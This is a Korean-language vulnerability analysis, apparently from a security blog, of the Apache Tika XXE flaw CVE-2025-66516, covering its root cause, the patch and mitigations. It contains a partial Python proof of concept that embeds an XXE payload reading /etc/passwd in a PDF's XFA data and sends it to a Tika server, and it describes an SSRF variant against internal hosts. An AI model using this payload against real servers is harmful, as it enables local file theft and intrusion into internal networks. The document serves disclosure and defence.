1. 취약점 개요
Apache Tika의 주요 라이브러리(tika-core 1.13~3.2.1, tika-pdf-module 2.0.0~3.2.1, tika-parsers 1.13~1.28.5)에서 XXE(XML External Entity Injection) 취약점이 확인되었다. 해당 취약점은 PDF 내 XFA(XML Forms Architecture) 파일을 파싱하고 검증하는 과정에서 발생하며, 예외적인 핸들링으로 인해 외부 엔티티 유입을 차단하지 못하는 것이 그 원인이다. 기존 CVE-2025-54988 제보에 따라 PDF 모듈을 업데이트하였더라도, 핵심 로직을 포함하는 tika-core 버전이 3.2.2 이하라면 취약점에 노출된 상태가 지속된다.
1.1 취약점 정보 요약
| 항목 | 내용 |
|---|---|
| CVE 번호 | CVE-2025-66516 |
| 취약점 유형 | XXE 인젝션 |
| 영향 받는 버전 | tika-core 1.13~3.2.1, tika-pdf-module 2.0.0~3.2.1, tika-parsers 1.13~1.28.5 |
| CVSS v3.1 | Critical 9.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
1.2 공격 흐름도
sequenceDiagram
autonumber
participant A as 공격자 (Attacker)
participant T as Tika Server (Target)
participant C as tika-core (XMLReaderUtils)
participant S as StAX Parser (JDK)
participant L as Local System / Internal NW
A->>T: 악성 PDF 업로드 (XFA 내 XXE 페이로드 포함)
T->>C: PDF 파싱 및 XFA 데이터 추출 요청
Note over C: getXMLInputFactory() 호출
C->>S: XMLInputFactory 생성 및 리졸버 설정
Note right of C: [결함] IGNORING_STAX_ENTITY_RESOLVER가<br/>InputStream이 아닌 String 반환 설정
C->>S: XFA XML 데이터 파싱 시작
S->>S: 외부 엔티티(xxe) 탐지
S->>C: 리졸버 호출 (엔티티 해결 요청)
C-->>S: String 형태의 빈 값 반환
Note over S: [취약점 발현] 반환 타입 불일치로 인해<br/>보안 리졸버를 무시하고 'Default Behavior'로 회귀
S->>L: 외부 엔티티 참조 (file:///etc/passwd)
L-->>S: 파일 내용 (/etc/passwd 데이터) 반환
S-->>T: 파싱 완료된 데이터 (탈취된 내용 포함) 전달
T-->>A: HTTP 응답 (추출된 메타데이터 내 파일 내용 노출)
2. 기술적 배경: Apache Tika
2.1 주요 구성 요소 분석
Tika:
- Tika 라이브러리는 수천 가지 파일 형식의 텍스트와 메타데이터를 단일 인터페이스로 탐지하고 추출해 주는 통합 콘텐츠 분석 프레임워크이다. 이는 주로 검색 엔진 인덱스, 내용 분석, 번역 등에 사용된다.
Tika-core:
- Tika의 핵심적인 파싱 및 통제 역할을 수행한다.
- 파일 타입 탐지, 파서 자동 선택 로직을 포함한다.
- 이번 취약점의 발현 지점인
XMLReaderUtils와 같은 공통 유틸리티를 제공하여 파서 모듈들이 XML 데이터를 처리할 때 표준화된 팩토리 설정을 사용하도록 강제한다.
Tika-parsers / Modules:
- 특정 파일 포맷에 대한 구체적인 파싱 로직을 담당한다.
- 2.x 버전 이후로는
tika-parser-pdf-module,tika-parser-office-module등 기능별로 모듈화되었다.

2.2 모듈 간 상호작용 메커니즘
사용자가 PDF 파일을 업로드하면, tika-core는 이를 인식하고 tika-parser-pdf-module에 파싱을 위임한다. PDF 모듈에 있는 Apache PDFBox가 PDF의 카탈로그 구조를 탐색하여 /XFA(XML Forms Architecture) 항목을 식별한다. 이때 파싱을 위해 tika-core에서 제공하는 XMLReaderUtils를 통해 StAX 파서 인스턴스 를 요청한다. 생성된 파서는 XFA 내부의 태그와 속성을 해석한다. 이 지점에서 취약한 설정이 적용되어 있을 경우, XML 내부에 선언된 외부 엔티티(External Entity) 를 해석하게 된다.
sequenceDiagram
autonumber
participant U as 사용자 (User)
participant C as tika-core
participant P as tika-parser-pdf-module
participant X as XMLReaderUtils (in core)
participant S as StAX Parser (Instance)
U->>C: PDF 파일 업로드
C->>P: 파싱 위임 (Parse Delegation)
Note over P: Apache PDFBox가 PDF 구조 탐색 및 /XFA 항목 식별
P->>S: StAX 파서 인스턴스 요청 (getXMLInputFactory)
S-->>P: StAX 파서 인스턴스 반환
P->>S: XFA 내부 태그 및 속성 해석 실행
Note over S: 취약한 리졸브 설정으로 인해 외부 엔티티(External Entity) 해석 및 반환
3. Root Cause 분석
3.1 Tika 취약점 발현 코드
본 취약점은 tika-core 모듈의 XMLReaderUtils.getXMLInputFactory()에서 StAX 파서 팩토리를 설정할 때 발생한다. 개발자는 외부 엔티티(External Entity)를 무시하도록 설계된 리졸버를 설정하였으나, 구현상의 결함으로 인해 해당 설정이 실제 런타임에서 무력화됨을 확인하였다.
//tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java:306
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
if (LOG.isDebugEnabled()) {
LOG.debug("XMLInputFactory class {}", factory.getClass());
}
// 네임스페이스 인식 및 유효성 검사 설정
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
// [결함 지점] 외부 엔티티 차단을 위한 리졸버 설정
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);
trySetStaxSecurityManager(factory);
return factory;
}3.2 StAX 사양과 Tika XML 리졸버 구현 결함: 타입 불일치
factory.setXMLResolver()에 전달되는 IGNORING_STAX_ENTITY_RESOLVER는 외부 엔티티 발견 시 이를 처리하지 않고 무시하도록 설계된 객체이다. 그러나 StAX 사양과 실제 구현 사이에는 다음과 같은 기술적 괴리가 존재한다.
- StAX 입력값은 InputStream 타입으로 전달될 것을 기대하며, 이가 아닐 시 null 값을 리턴한다.
//java.xml/share/classes/com/sun/xml/internal/stream/StaxEntityResolverWrapper.java:71
StaxXMLInputSource getStaxInputSource(Object object){
if(object == null) return null ;
if(object instanceof java.io.InputStream){
return new StaxXMLInputSource(new XMLInputSource(null, null, null, (InputStream)object, null), true);
}
else if(object instanceof XMLStreamReader){
return new StaxXMLInputSource((XMLStreamReader)object, true) ;
}else if(object instanceof XMLEventReader){
return new StaxXMLInputSource((XMLEventReader)object, true) ;
}
return null ;
}- Tika XML 리졸버 구현상의 오류:
tika-core에서 정의된 해당 리졸버(IGNORING_STAX_ENTITY_RESOLVER)는 데이터를String타입으로 반환하도록 작성되어 있다.
//tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java:125
private static final EntityResolver IGNORING_SAX_ENTITY_RESOLVER = (publicId, systemId) -> new InputSource(new StringReader(""));- 리졸버 보안 기능 무력화: JDK 기본 StAX 구현체는 리졸버가 반환하는 타입이
InputStream이 아닐 경우, 이를 유효하지 않은 응답으로 간주한다. 결과적으로 예외를 발생시키는 대신 **‘기본 동작(Default Behavior)’**으로 복귀하여 외부 엔티티를 끝까지 추적 및 해석하게 된다.
4. Proof of Concept (PoC)
4.1 로컬 파일 추출
해당 파이썬 코드는 악성 XFA(XML Forms Architecture) 구조가 포함된 PDF 파일을 생성한 후, 이를 대상 서버로 직접 전송하는 기능을 수행한다.
... 생략
TARGET_FILE = "/etc/passwd"
TIKA_URL = "http://localhost:9998/rmeta/text"
def generate_and_send():
print(f"{TARGET_FILE} PoC PDF 생성 중...")
xml_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
<!ENTITY xxe SYSTEM "file:///{TARGET_FILE.lstrip('/')}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en">
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
<subform name="form1"><field name="data"><value><text>&xxe;</text></value></field></subform>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data><form1><data>&xxe;</data></form1></xfa:data>
</xfa:datasets>
</xdp:xdp>"""
pdf = pikepdf.new()
pdf.add_blank_page()
xfa_stream = Stream(pdf, xml_content.encode('utf-8'), compress=False)
... 생략공격 스크립트 실행 시, Tika 서버는 PDF 파일을 파싱하는 과정에서 내장된 XFA(XML Forms Architecture) 데이터를 식별한다. 이후 XML 내부에 삽입된 악성 외부 엔티티 참조를 처리하며 서버 로컬 파일(/etc/passwd)에 접근하고, 탈취된 파일 내용을 응답 본문에 포함하여 사용자에게 최종 반환한다.

4.2 네트워크 내 타 서버 자산 탈취 (SSRF)**
익스플로잇 코드를 수정하여 외부 엔티티 참조 주소를 내부망 서버의 IP 주소로 설정한다. 이를 통해 Tika 서버가 공격자의 의도에 따라 내부 네트워크의 타 서버로 요청을 전송하게 함으로써, 외부에서 직접 접근이 차단된 내부 자산 정보를 획득하거나 파일을 추출하는 SSRF(Server-Side Request Forgery) 공격을 수행한다.

수정된 익스플로잇 코드를 구동한 결과, Tika 서버를 경유하여 외부 접근이 제한된 내부망 자원에 대한 접근이 가능함을 확인하였다. 이는 취약한 서버를 중간 거점으로 활용하여 내부 인프라 전반에 걸친 추가 공격 수행이 가능함을 증명한다.

5. 라이브러리 패치 분석
5.1 DTD 옵션의 명시적 비활성화
취약점이 발생했던 XMLReaderUtils 클래스 내에서 외부 엔티티를 참조하거나 해석할 수 있는 DTD 관련 옵션을 명시적으로 차단하도록 수정하였다. 이를 통해 파싱 단계에서부터 잠재적인 XXE 주입 경로를 원천적으로 제거하였다.

5.2 리졸버 반환 타입 사양 준수
해당 리졸버의 반환값을 InputStream 타입으로 변경함으로써 엔진 내부의 StaxEntityResolverWrapper가 유효한 응답으로 인식하게 하여, 엔진이 ‘기본 동작(외부 URL 접속)‘으로 회귀하는 현상을 차단하고 보안 차단 신호가 정상적으로 XMLEntityManager까지 전달되도록 조치하였다.

6. 보안 대책
사용 중인 의존성 및 Tika 서버 버전이 취약한지 확인 후 업데이트: tika-core 1.13~3.2.1, tika-pdf-module 2.0.0~3.2.1, tika-parsers 1.13~1.28.5, tika-server-standard-3.2.1.jar 이하 버전
Reference
- https://nvd.nist.gov/vuln/detail/CVE-2025-66516
- https://nvd.nist.gov/vuln/detail/CVE-2025-54988
- https://github.com/chasingimpact/CVE-2025-66516-Writeup-POC
- https://hackyboiz.github.io/2025/12/24/gongjae/CVE-2025-66516/
- https://www.picussecurity.com/resource/blog/apache-tika-xxe-vulnerability-cve-2025-66516-explained
